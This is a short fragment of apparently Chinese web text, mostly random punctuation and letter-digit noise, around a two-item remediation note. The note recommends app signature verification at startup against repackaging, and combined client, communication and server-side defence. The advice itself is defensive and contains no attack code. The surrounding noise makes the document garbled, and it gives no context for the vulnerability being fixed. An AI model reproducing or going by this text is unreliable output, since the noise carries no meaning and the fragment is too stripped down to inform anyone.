w9 ?* b# x   3 ~7 o( I0 I# b+ N! y ! k& r+ z6 D: c+ V/ F5 ? ( B; e2 W8 w$ ]

, w3 X3 a5 Z8 P* A% M. f

: C* h v9 w, \& C g

) ]* Y1 p: D: _5 t7 X% _8 a4 e   ; Y/ S9 E( ?; }( A4 C % h, `5 E; F1 T

& k0 a8 h" W5 x7 L

5 h8 J" ~3 P) \, s! b 7 }9 t9 K5 I$ h m/ O$ h C 修复方法： " M8 v! n1 k$ r' F, r7 f* V

- ~* Q: M0 T# m8 N K1 F; O

              1.在 APP 启动时应做签名校验防止二次打包。
# c5 l$ h- C$ G/ A0 s" V % t% z" E" w+ ~6 K) G 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 8 e* I- O/ L4 E) ^

1 u7 d) q/ M+ e1 U# b/ }! H 9 `0 o/ t( w: V7 U) L6 v% `9 L ' D) }( d5 G. U. U( V( X9 d

3 Q2 k: R$ o w, [5 w+ T" W   $ B( e! W/ e! c 1 I% l( D& l2 |' E, H

1 W! @8 z) D( \* B * s# n- k& x. {7 W/ U k6 E' D% _ ) r* o. a% I2 m3 c( Z' _2 ?

) V4 R- [) Q8 I% \/ W
2 S% K% p+ i. U; j* x! o - O+ A1 M& h! a6 e6 k